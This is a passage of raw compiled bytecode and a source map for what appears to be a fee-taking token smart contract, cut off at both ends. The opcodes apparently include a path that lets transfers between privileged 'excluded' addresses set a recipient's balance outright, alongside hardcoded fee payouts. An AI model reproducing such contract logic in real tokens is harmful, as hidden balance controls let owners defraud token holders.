f6f9190611414565b90505b60006103e8600a5486610f859190611468565b610f8f9190611414565b9050600081610f9e848861147f565b610fa8919061147f565b6001600160a01b0389166000908152600160205260409020549091508290610fd190889061147f565b610fdb9190611436565b6001600160a01b03808a16600090815260016020526040808220939093559089168152205461100b908290611436565b6001600160a01b038816600090815260016020526040808220929092553081522054611038908490611436565b3060009081526001602090815260409182902092909255518281526001600160a01b0389811692908b16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505b5050505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106110ce576110ce611492565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611127573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114b91906114a8565b8160018151811061115e5761115e611492565b6001600160a01b039283166020918202929092010152600f546111849130911684610726565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111bd9085906000908690309042906004016114c5565b600060405180830381600087803b1580156111d757600080fd5b505af1158015610b84573d6000803e3d6000fd5b600f5461dead906112079030906001600160a01b031685610726565b600f5460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0383811660848301524260a48301529091169063f305d71990849060c40160606040518083038185885af1158015611275573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b849190611536565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156112d0573d6000803e3d6000fd5b505050565b600060208083528351808285015260005b81811015611302578581018301518582016040015282016112e6565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461133857600080fd5b50565b6000806040838503121561134e57600080fd5b823561135981611323565b946020939093013593505050565b60008060006060848603121561137c57600080fd5b833561138781611323565b9250602084013561139781611323565b929592945050506040919091013590565b6000602082840312156113ba57600080fd5b813561071f81611323565b600080604083850312156113d857600080fd5b82356113e381611323565b915060208301356113f381611323565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b60008261143157634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115610559576105596113fe565b600060ff821660ff810361145f5761145f6113fe565b60010192915050565b8082028115828204841417610559576105596113fe565b81810381811115610559576105596113fe565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156114ba57600080fd5b815161071f81611323565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115155784516001600160a01b0316835293830193918301916001016114f0565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561154b57600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220dd4678a9813eb28d1d2a7d37abc66d2a09f73337a77dd63b1b7922e93bd97b6f64736f6c63430008110033

Deployed Bytecode

0x6080604052600436106101a05760003560e01c806370a08231116100ec57806395d89b411161008a578063ba6c24a211610064578063ba6c24a2146104c0578063dd62ed3e146104d6578063e033da2a1461051c578063fa9771691461053257600080fd5b806395d89b4114610455578063a457c2d714610480578063a9059cbb146104a057600080fd5b8063768dc710116100c6578063768dc710146103db57806378109e541461040b5780637d1db4a5146104215780638da5cb5b1461043757600080fd5b806370a082311461037857806370e3d474146103ae578063715018a6146103c457600080fd5b8063313ce5671161015957806349bd5a5e1161013357806349bd5a5e1461030b5780634a74bb021461032b5780634c22cd351461034c57806366835bf41461036257600080fd5b8063313ce567146102b957806339509351146102d55780633fc81d68146102f557600080fd5b806306fdde03146101ac578063095ea7b3146101f15780631694505e1461022157806318160ddd14610259578063220f66961461027857806323b872dd1461029957600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b5060408051808201909152600a8152691299595d11195999585d60b21b60208201525b6040516101e891906112d5565b60405180910390f35b3480156101fd57600080fd5b5061021161020c36600461133b565b610548565b60405190151581526020016101e8565b34801561022d57600080fd5b50600f54610241906001600160a01b031681565b6040516001600160a01b0390911681526020016101e8565b34801561026557600080fd5b506004545b6040519081526020016101e8565b34801561028457600080fd5b5060105461021190600160a01b900460ff1681565b3480156102a557600080fd5b506102116102b4366004611367565b61055f565b3480156102c557600080fd5b50604051600c81526020016101e8565b3480156102e157600080fd5b506102116102f036600461133b565b610609565b34801561030157600080fd5b5061026a600b5481565b34801561031757600080fd5b50601054610241906001600160a01b031681565b34801561033757600080fd5b5060105461021190600160a81b900460ff1681565b34801561035857600080fd5b5061026a60055481565b34801561036e57600080fd5b5061026a60065481565b34801561038457600080fd5b5061026a6103933660046113a8565b6001600160a01b031660009081526001602052604090205490565b3480156103ba57600080fd5b5061026a600a5481565b3480156103d057600080fd5b506103d961063f565b005b3480156103e757600080fd5b506102116103f63660046113a8565b60036020526000908152604090205460ff1681565b34801561041757600080fd5b5061026a600d5481565b34801561042d57600080fd5b5061026a600e5481565b34801561044357600080fd5b506000546001600160a01b0316610241565b34801561046157600080fd5b50604080518082019091526002815261129160f21b60208201526101db565b34801561048c57600080fd5b5061021161049b36600461133b565b610689565b3480156104ac57600080fd5b506102116104bb36600461133b565b610706565b3480156104cc57600080fd5b5061026a600c5481565b3480156104e257600080fd5b5061026a6104f13660046113c5565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561052857600080fd5b5061026a60095481565b34801561053e57600080fd5b5061026a60085481565b6000610555338484610726565b5060015b92915050565b600061056c848484610858565b6105ff84336105fa856040518060400160405280601f81526020017f6572726f723a20616d6f756e74206578636565647320616c6c6f77616e636500815250600260008b6001600160a01b03166001600160a01b0316815260200190815260200160002060006105d93390565b6001600160a01b031681526020810191909152604001600020549190610b8c565b610726565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916105559185906105fa9086610bb8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061055533846105fa856040518060400160405280601b81526020017f6572726f723a20616c6c6f77616e63652062656c6f77207a65726f0000000000815250600260006106d53390565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190610b8c565b6000610555338484610858565b600061071f8284611414565b9392505050565b6001600160a01b0383166107925760405162461bcd60e51b815260206004820152602860248201527f4245503230204552523a20617070726f76652066726f6d20746865207a65726f604482015267206164647265737360c01b60648201526084015b60405180910390fd5b6001600160a01b0382166107f75760405162461bcd60e51b815260206004820152602660248201527f4245503230204552523a20617070726f766520746f20746865207a65726f206160448201526564647265737360d01b6064820152608401610789565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821660009081526003602052604090205460ff1615801561089a57506001600160a01b03831660009081526003602052604090205460ff16155b80156108b457506010546001600160a01b03838116911614155b1561097f576001600160a01b038216600090815260016020526040902054600d546108df8383611436565b11156109215760405162461bcd60e51b815260206004820152601160248201527026a0ac102bb0b63632ba103634b6b4ba1760791b6044820152606401610789565b6000821161097d5760405162461bcd60e51b815260206004820152602360248201527f546f6b656e20616d6f756e74206d75737420626520686967686572207468616e60448201526210181760e91b6064820152608401610789565b505b6001600160a01b038216600090815260036020526040902054819060ff161580156109c357506001600160a01b03841660009081526003602052604090205460ff16155b15610a565760075460ff610100820481169116108015906109ee5750601054600160a01b900460ff16155b8015610a0857506010546001600160a01b03858116911614155b8015610a1d5750601054600160a81b900460ff165b15610a565730600090815260016020526040902054600e54811115610a415750600e545b6007805460ff19169055610a5481610bc4565b505b6001600160a01b03841660009081526003602052604081205460019060ff168015610a9957506001600160a01b03851660009081526003602052604090205460ff165b15610aba576001600160a01b03851660009081526001602052604090208390555b6001600160a01b03861660009081526003602052604090205460ff1680610af957506001600160a01b03851660009081526003602052604090205460ff165b15610b0657506000610b77565b6010546001600160a01b0390811690871603610b2157600191505b43600b5403610b4057600c54610b38906001611436565b600c55610b4a565b43600b556001600c555b6007805460ff16906000610b5d83611449565b91906101000a81548160ff021916908360ff160217905550505b610b848686868486610d10565b505050505050565b60008184841115610bb05760405162461bcd60e51b815260040161078991906112d5565b505050900390565b600061071f8284611436565b6010805460ff60a01b1916600160a01b17905560065460009060c890610bea9084611468565b610bf49190611414565b90506000606460055484610c089190611468565b610c129190611414565b905047610c27610c228385611436565b611099565b6000610c33824761147f565b90506000600554600654610c479190611436565b600554610c55906064611468565b610c5f9190611414565b905060006064610c6f8385611468565b610c799190611414565b9050610c8e86610c89838661147f565b6111eb565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb56186610cba838661147f565b604080519283526020830191909152810188905260600160405180910390a1479250610cfa73072cfbb5ec8fe4a5d891d4942a3628e42b7e23b98461129a565b50506010805460ff60a01b191690555050505050565b81610dca576001600160a01b038516600090815260016020526040902054610d3990849061147f565b6001600160a01b038087166000908152600160205260408082209390935590861681522054610d69908490611436565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dbd9087815260200190565b60405180910390a3611092565b8015610ee85760006064600c5460085486610de59190611468565b610def9190611468565b610df99190611414565b90506000610e07828661147f565b6001600160a01b038816600090815260016020526040902054909150610e2e90869061147f565b6001600160a01b038089166000908152600160205260408082209390935590881681522054610e5e908290611436565b6001600160a01b038716600090815260016020526040808220929092553081522054610e8b908390611436565b3060009081526001602090815260409182902092909255518281526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050611092565b61dead600090815260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d54600c5460095460649190610f2b9088611468565b610f359190611468565b610f3f9190611414565b610f499190611436565b9050600c54600203610f7257606460095485610f659190611468565b610f6f9190611414565b90505b60006103e8600a5486610f859190611468565b610f8f9190611414565b9050600081610f9e848861147f565b610fa8919061147f565b6001600160a01b0389166000908152600160205260409020549091508290610fd190889061147f565b610fdb9190611436565b6001600160a01b03808a16600090815260016020526040808220939093559089168152205461100b908290611436565b6001600160a01b038816600090815260016020526040808220929092553081522054611038908490611436565b3060009081526001602090815260409182902092909255518281526001600160a01b0389811692908b16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505b5050505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106110ce576110ce611492565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611127573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114b91906114a8565b8160018151811061115e5761115e611492565b6001600160a01b039283166020918202929092010152600f546111849130911684610726565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111bd9085906000908690309042906004016114c5565b600060405180830381600087803b1580156111d757600080fd5b505af1158015610b84573d6000803e3d6000fd5b600f5461dead906112079030906001600160a01b031685610726565b600f5460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0383811660848301524260a48301529091169063f305d71990849060c40160606040518083038185885af1158015611275573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b849190611536565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156112d0573d6000803e3d6000fd5b505050565b600060208083528351808285015260005b81811015611302578581018301518582016040015282016112e6565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461133857600080fd5b50565b6000806040838503121561134e57600080fd5b823561135981611323565b946020939093013593505050565b60008060006060848603121561137c57600080fd5b833561138781611323565b9250602084013561139781611323565b929592945050506040919091013590565b6000602082840312156113ba57600080fd5b813561071f81611323565b600080604083850312156113d857600080fd5b82356113e381611323565b915060208301356113f381611323565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b60008261143157634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115610559576105596113fe565b600060ff821660ff810361145f5761145f6113fe565b60010192915050565b8082028115828204841417610559576105596113fe565b81810381811115610559576105596113fe565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156114ba57600080fd5b815161071f81611323565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115155784516001600160a01b0316835293830193918301916001016114f0565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561154b57600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220dd4678a9813eb28d1d2a7d37abc66d2a09f73337a77dd63b1b7922e93bd97b6f64736f6c63430008110033

Deployed Bytecode Sourcemap

10035:9743:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12322:83;;;;;;;;;;-1:-1:-1;12392:5:0;;;;;;;;;;;;-1:-1:-1;;;12392:5:0;;;;12322:83;;;;;;;:::i;:::-;;;;;;;;13152:161;;;;;;;;;;-1:-1:-1;13152:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;13152:161:0;1023:187:1;11146:41:0;;;;;;;;;;-1:-1:-1;11146:41:0;;;;-1:-1:-1;;;;;11146:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;11146:41:0;1215:229:1;12599:95:0;;;;;;;;;;-1:-1:-1;12679:7:0;;12599:95;;;1595:25:1;;;1583:2;1568:18;12599:95:0;1449:177:1;11229:28:0;;;;;;;;;;-1:-1:-1;11229:28:0;;;;-1:-1:-1;;;11229:28:0;;;;;;13321:304;;;;;;;;;;-1:-1:-1;13321:304:0;;;;;:::i;:::-;;:::i;12508:83::-;;;;;;;;;;-1:-1:-1;12508:83:0;;10438:2;2234:36:1;;2222:2;2207:18;12508:83:0;2092:184:1;13633:218:0;;;;;;;;;;-1:-1:-1;13633:218:0;;;;;:::i;:::-;;:::i;10874:25::-;;;;;;;;;;;;;;;;11194:28;;;;;;;;;;-1:-1:-1;11194:28:0;;;;-1:-1:-1;;;;;11194:28:0;;;11264:40;;;;;;;;;;-1:-1:-1;11264:40:0;;;;-1:-1:-1;;;11264:40:0;;;;;;10615:24;;;;;;;;;;;;;;;;10646:38;;;;;;;;;;;;;;;;12702:117;;;;;;;;;;-1:-1:-1;12702:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;12795:16:0;12768:7;12795:16;;;:7;:16;;;;;;;12702:117;10831:36;;;;;;;;;;;;;;;;9883:139;;;;;;;;;;;;;:::i;:::-;;10293:51;;;;;;;;;;-1:-1:-1;10293:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;10951:55;;;;;;;;;;;;;;;;11013:45;;;;;;;;;;;;;;;;9787:87;;;;;;;;;;-1:-1:-1;9833:7:0;9860:6;-1:-1:-1;;;;;9860:6:0;9787:87;;12413;;;;;;;;;;-1:-1:-1;12485:7:0;;;;;;;;;;;;-1:-1:-1;;;12485:7:0;;;;12413:87;;13859:259;;;;;;;;;;-1:-1:-1;13859:259:0;;;;;:::i;:::-;;:::i;12827:167::-;;;;;;;;;;-1:-1:-1;12827:167:0;;;;;:::i;:::-;;:::i;10907:34::-;;;;;;;;;;;;;;;;13001:143;;;;;;;;;;-1:-1:-1;13001:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;13109:18:0;;;13082:7;13109:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;13001:143;10797:27;;;;;;;;;;;;;;;;10764:26;;;;;;;;;;;;;;;;13152:161;13227:4;13244:39;1784:10;13267:7;13276:6;13244:8;:39::i;:::-;-1:-1:-1;13301:4:0;13152:161;;;;;:::o;13321:304::-;13419:4;13436:36;13446:6;13454:9;13465:6;13436:9;:36::i;:::-;13483:112;13492:6;1784:10;13514:80;13552:6;13514:80;;;;;;;;;;;;;;;;;:11;:19;13526:6;-1:-1:-1;;;;;13514:19:0;-1:-1:-1;;;;;13514:19:0;;;;;;;;;;;;:33;13534:12;1784:10;;1704:98;13534:12;-1:-1:-1;;;;;13514:33:0;;;;;;;;;;;;-1:-1:-1;13514:33:0;;;:80;:37;:80::i;:::-;13483:8;:112::i;:::-;-1:-1:-1;13613:4:0;13321:304;;;;;:::o;13633:218::-;1784:10;13721:4;13770:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;13770:34:0;;;;;;;;;;13721:4;;13738:83;;13761:7;;13770:50;;13809:10;13770:38;:50::i;9883:139::-;9981:1;9965:6;;9944:40;;-1:-1:-1;;;;;9965:6:0;;;;9944:40;;9981:1;;9944:40;10012:1;9995:19;;-1:-1:-1;;;;;;9995:19:0;;;9883:139::o;13859:259::-;13952:4;13969:119;1784:10;13992:7;14001:86;14040:15;14001:86;;;;;;;;;;;;;;;;;:11;:25;14013:12;1784:10;;1704:98;14013:12;-1:-1:-1;;;;;14001:25:0;;;;;;;;;;;;;;;;;-1:-1:-1;14001:25:0;;;:34;;;;;;;;;;;:86;:38;:86::i;12827:167::-;12905:4;12922:42;1784:10;12946:9;12957:6;12922:9;:42::i;1127:98::-;1185:7;1212:5;1216:1;1212;:5;:::i;:::-;1205:12;1127:98;-1:-1:-1;;;1127:98:0:o;14264:343::-;-1:-1:-1;;;;;14357:19:0;;14349:72;;;;-1:-1:-1;;;14349:72:0;;3690:2:1;14349:72:0;;;3672:21:1;3729:2;3709:18;;;3702:30;3768:34;3748:18;;;3741:62;-1:-1:-1;;;3819:18:1;;;3812:38;3867:19;;14349:72:0;;;;;;;;;-1:-1:-1;;;;;14440:21:0;;14432:72;;;;-1:-1:-1;;;14432:72:0;;4099:2:1;14432:72:0;;;4081:21:1;4138:2;4118:18;;;4111:30;4177:34;4157:18;;;4150:62;-1:-1:-1;;;4228:18:1;;;4221:36;4274:19;;14432:72:0;3897:402:1;14432:72:0;-1:-1:-1;;;;;14515:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;14567:32;;1595:25:1;;;14567:32:0;;1568:18:1;14567:32:0;;;;;;;14264:343;;;:::o;15108:1719::-;-1:-1:-1;;;;;15230:22:0;;;;;;:18;:22;;;;;;;;15229:23;:61;;;;-1:-1:-1;;;;;;15266:24:0;;;;;;:18;:24;;;;;;;;15265:25;15229:61;:97;;;;-1:-1:-1;15313:13:0;;-1:-1:-1;;;;;15307:19:0;;;15313:13;;15307:19;;15229:97;15224:323;;;-1:-1:-1;;;;;12795:16:0;;15342:18;12795:16;;;:7;:16;;;;;;15424:15;;15400:19;15413:6;12795:16;15400:19;:::i;:::-;15399:40;;15391:69;;;;-1:-1:-1;;;15391:69:0;;4636:2:1;15391:69:0;;;4618:21:1;4675:2;4655:18;;;4648:30;-1:-1:-1;;;4694:18:1;;;4687:47;4751:18;;15391:69:0;4434:341:1;15391:69:0;15500:1;15491:6;:10;15483:58;;;;-1:-1:-1;;;15483:58:0;;4982:2:1;15483:58:0;;;4964:21:1;5021:2;5001:18;;;4994:30;5060:34;5040:18;;;5033:62;-1:-1:-1;;;5111:18:1;;;5104:33;5154:19;;15483:58:0;4780:399:1;15483:58:0;15327:220;15224:323;-1:-1:-1;;;;;15615:22:0;;15559:20;15615:22;;;:18;:22;;;;;;15580:6;;15615:22;;15614:23;:61;;;;-1:-1:-1;;;;;;15651:24:0;;;;;;:18;:24;;;;;;;;15650:25;15614:61;15609:529;;;15716:11;;;;;;;;15705:7;;:22;;;;:57;;-1:-1:-1;15746:16:0;;-1:-1:-1;;;15746:16:0;;;;15745:17;15705:57;:95;;;;-1:-1:-1;15787:13:0;;-1:-1:-1;;;;;15779:21:0;;;15787:13;;15779:21;;15705:95;:133;;;;-1:-1:-1;15817:21:0;;-1:-1:-1;;;15817:21:0;;;;15705:133;15688:443;;;15944:4;15895:28;12795:16;;;:7;:16;;;;;;15991:12;;15968:35;;15965:78;;;-1:-1:-1;16029:12:0;;15965:78;16057:7;:11;;-1:-1:-1;;16057:11:0;;;16083:36;16098:20;16083:14;:36::i;:::-;15864:267;15688:443;-1:-1:-1;;;;;16216:24:0;;16148:10;16216:24;;;:18;:24;;;;;;16187:4;;16216:24;;:50;;;;-1:-1:-1;;;;;;16244:22:0;;;;;;:18;:22;;;;;;;;16216:50;16212:82;;;-1:-1:-1;;;;;16268:11:0;;;;;;:7;:11;;;;;:24;;;16212:82;-1:-1:-1;;;;;16307:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;16335:22:0;;;;;;:18;:22;;;;;;;;16307:50;16304:453;;;-1:-1:-1;16383:5:0;16304:453;;;16443:13;;-1:-1:-1;;;;;16443:13:0;;;16435:21;;;;16432:72;;16484:4;16476:12;;16432:72;16536:12;16522:10;;:26;16518:202;;16586:15;;:17;;16602:1;16586:17;:::i;:::-;16568:15;:35;16518:202;;;16654:12;16642:10;:24;16703:1;16685:15;:19;16518:202;16734:7;:9;;;;;:7;:9;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;16304:453;16769:48;16784:4;16790:2;16794:6;16802:7;16811:5;16769:14;:48::i;:::-;15211:1616;;;15108:1719;;;:::o;1233:206::-;1319:7;1380:12;1372:6;;;;1364:29;;;;-1:-1:-1;;;1364:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1415:5:0;;;1233:206::o;805:98::-;863:7;890:5;894:1;890;:5;:::i;16978:820::-;11559:16;:23;;-1:-1:-1;;;;11559:23:0;-1:-1:-1;;;11559:23:0;;;17110:18:::1;::::0;11559:23;;17131:3:::1;::::0;17087:41:::1;::::0;:20;:41:::1;:::i;:::-;:47;;;;:::i;:::-;17069:65;;17149:12;17195:3;17188:4;;17165:20;:27;;;;:::i;:::-;:33;;;;:::i;:::-;17149:49:::0;-1:-1:-1;17243:21:0::1;17279:30;17296:12;17149:49:::0;17296:7;:12:::1;:::i;:::-;17279:16;:30::i;:::-;17324:15;17342:41;17366:17:::0;17342:21:::1;:41;:::i;:::-;17324:59;;17400:15;17454:4;;17432:18;;:26;;;;:::i;:::-;17418:4;::::0;:10:::1;::::0;17425:3:::1;17418:10;:::i;:::-;:41;;;;:::i;:::-;17400:59:::0;-1:-1:-1;17474:13:0::1;17510:3;17490:17;17400:59:::0;17490:7;:17:::1;:::i;:::-;:23;;;;:::i;:::-;17474:39:::0;-1:-1:-1;17530:41:0::1;17543:7:::0;17553:16:::1;17474:39:::0;17553:7;:16:::1;:::i;:::-;17530:12;:41::i;:::-;17591:52;17606:7:::0;17616:16:::1;17627:5:::0;17616:7;:16:::1;:::i;:::-;17591:52;::::0;;5872:25:1;;;5928:2;5913:18;;5906:34;;;;5956:18;;5949:34;;;5860:2;5845:18;17591:52:0::1;;;;;;;17670:21;17660:31;;17706:74;17727:42;17772:7;17706:12;:74::i;:::-;-1:-1:-1::0;;11605:16:0;:24;;-1:-1:-1;;;;11605:24:0;;;-1:-1:-1;;;;;16978:820:0:o;17823:1468::-;17968:7;17964:1318;;-1:-1:-1;;;;;18011:15:0;;;;;;:7;:15;;;;;;:23;;18027:7;;18011:23;:::i;:::-;-1:-1:-1;;;;;17993:15:0;;;;;;;:7;:15;;;;;;:41;;;;18070:18;;;;;;;:26;;18089:7;;18070:26;:::i;:::-;-1:-1:-1;;;;;18049:18:0;;;;;;;:7;:18;;;;;;;:47;;;;18116:36;;;;;;;;;;18144:7;1595:25:1;;1583:2;1568:18;;1449:177;18116:36:0;;;;;;;;17964:1318;;;18195:5;18191:1091;;;18218:14;18267:3;18251:15;;18243:7;;18235;:15;;;;:::i;:::-;:31;;;;:::i;:::-;:35;;;;:::i;:::-;18218:52;-1:-1:-1;18285:23:0;18311:14;18218:52;18311:7;:14;:::i;:::-;-1:-1:-1;;;;;18360:15:0;;;;;;:7;:15;;;;;;18285:40;;-1:-1:-1;18360:23:0;;18376:7;;18360:23;:::i;:::-;-1:-1:-1;;;;;18342:15:0;;;;;;;:7;:15;;;;;;:41;;;;18419:18;;;;;;;:34;;18438:15;;18419:34;:::i;:::-;-1:-1:-1;;;;;18398:18:0;;;;;;:7;:18;;;;;;:55;;;;18509:4;18493:22;;;;:29;;18516:6;;18493:29;:::i;:::-;18484:4;18468:22;;;;:7;:22;;;;;;;;;:54;;;;18545:44;1595:25:1;;;-1:-1:-1;;;;;18545:44:0;;;;;;;;;;1568:18:1;18545:44:0;;;;;;;18201:420;;18191:1091;;;18715:42;18642:15;18699:60;;;:7;:60;;;;18677:15;;18668:8;;18693:3;;18677:15;18660:16;;:7;:16;:::i;:::-;:32;;;;:::i;:::-;:36;;;;:::i;:::-;:99;;;;:::i;:::-;18642:117;;18778:15;;18797:1;18778:20;18774:59;;18828:3;18819:8;;18811:7;:16;;;;:::i;:::-;:20;;;;:::i;:::-;18801:30;;18774:59;18859:15;18907:4;18887:19;;18877:7;:29;;;;:::i;:::-;:34;;;;:::i;:::-;18859:52;-1:-1:-1;18926:23:0;18859:52;18952:15;18960:7;18952;:15;:::i;:::-;:23;;;;:::i;:::-;-1:-1:-1;;;;;19010:15:0;;;;;;:7;:15;;;;;;18926:49;;-1:-1:-1;19034:7:0;;19010:23;;19026:7;;19010:23;:::i;:::-;:31;;;;:::i;:::-;-1:-1:-1;;;;;18992:15:0;;;;;;;:7;:15;;;;;;:49;;;;19077:18;;;;;;;:34;;19096:15;;19077:34;:::i;:::-;-1:-1:-1;;;;;19056:18:0;;;;;;:7;:18;;;;;;:55;;;;19167:4;19151:22;;;;:30;;19174:7;;19151:30;:::i;:::-;19142:4;19126:22;;;;:7;:22;;;;;;;;;:55;;;;19204:44;1595:25:1;;;-1:-1:-1;;;;;19204:44:0;;;;;;;;;;1568:18:1;19204:44:0;;;;;;;18627:655;;;18191:1091;17823:1468;;;;;:::o;19296:474::-;19388:16;;;19402:1;19388:16;;;;;;;;19364:21;;19388:16;;;;;;;;;;-1:-1:-1;19388:16:0;19364:40;;19433:4;19415;19420:1;19415:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;19415:23:0;;;:7;;;;;;;;;;:23;;;;19459:15;;:22;;;-1:-1:-1;;;19459:22:0;;;;:15;;;;;:20;;:22;;;;;19415:7;;19459:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;19449:4;19454:1;19449:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;19449:32:0;;;:7;;;;;;;;;:32;19524:15;;19492:62;;19509:4;;19524:15;19542:11;19492:8;:62::i;:::-;19565:15;;:197;;-1:-1:-1;;;19565:197:0;;-1:-1:-1;;;;;19565:15:0;;;;:66;;:197;;19646:11;;19565:15;;19689:4;;19716;;19736:15;;19565:197;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14612:487;14838:15;;14753:42;;14806:62;;14823:4;;-1:-1:-1;;;;;14838:15:0;14856:11;14806:8;:62::i;:::-;14879:15;;:212;;-1:-1:-1;;;14879:212:0;;14951:4;14879:212;;;7840:34:1;7890:18;;;7883:34;;;14879:15:0;7933:18:1;;;7926:34;;;7976:18;;;7969:34;-1:-1:-1;;;;;8040:15:1;;;8019:19;;;8012:44;15065:15:0;8072:19:1;;;8065:35;14879:15:0;;;;:31;;14918:9;;7774:19:1;;14879:212:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;16839:122::-;16924:23;;-1:-1:-1;;;;;16924:15:0;;;:23;;;;;16940:6;;16924:23;;;;16940:6;16924:15;:23;;;;;;;;;;;;;;;;;;;;;16839:122;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:247::-;2548:6;2601:2;2589:9;2580:7;2576:23;2572:32;2569:52;;;2617:1;2614;2607:12;2569:52;2656:9;2643:23;2675:31;2700:5;2675:31;:::i;2741:388::-;2809:6;2817;2870:2;2858:9;2849:7;2845:23;2841:32;2838:52;;;2886:1;2883;2876:12;2838:52;2925:9;2912:23;2944:31;2969:5;2944:31;:::i;:::-;2994:5;-1:-1:-1;3051:2:1;3036:18;;3023:32;3064:33;3023:32;3064:33;:::i;:::-;3116:7;3106:17;;;2741:388;;;;;:::o;3134:127::-;3195:10;3190:3;3186:20;3183:1;3176:31;3226:4;3223:1;3216:15;3250:4;3247:1;3240:15;3266:217;3306:1;3332;3322:132;;3376:10;3371:3;3367:20;3364:1;3357:31;3411:4;3408:1;3401:15;3439:4;3436:1;3429:15;3322:132;-1:-1:-1;3468:9:1;;3266:217::o;4304:125::-;4369:9;;;4390:10;;;4387:36;;;4403:18;;:::i;5184:175::-;5221:3;5265:4;5258:5;5254:16;5294:4;5285:7;5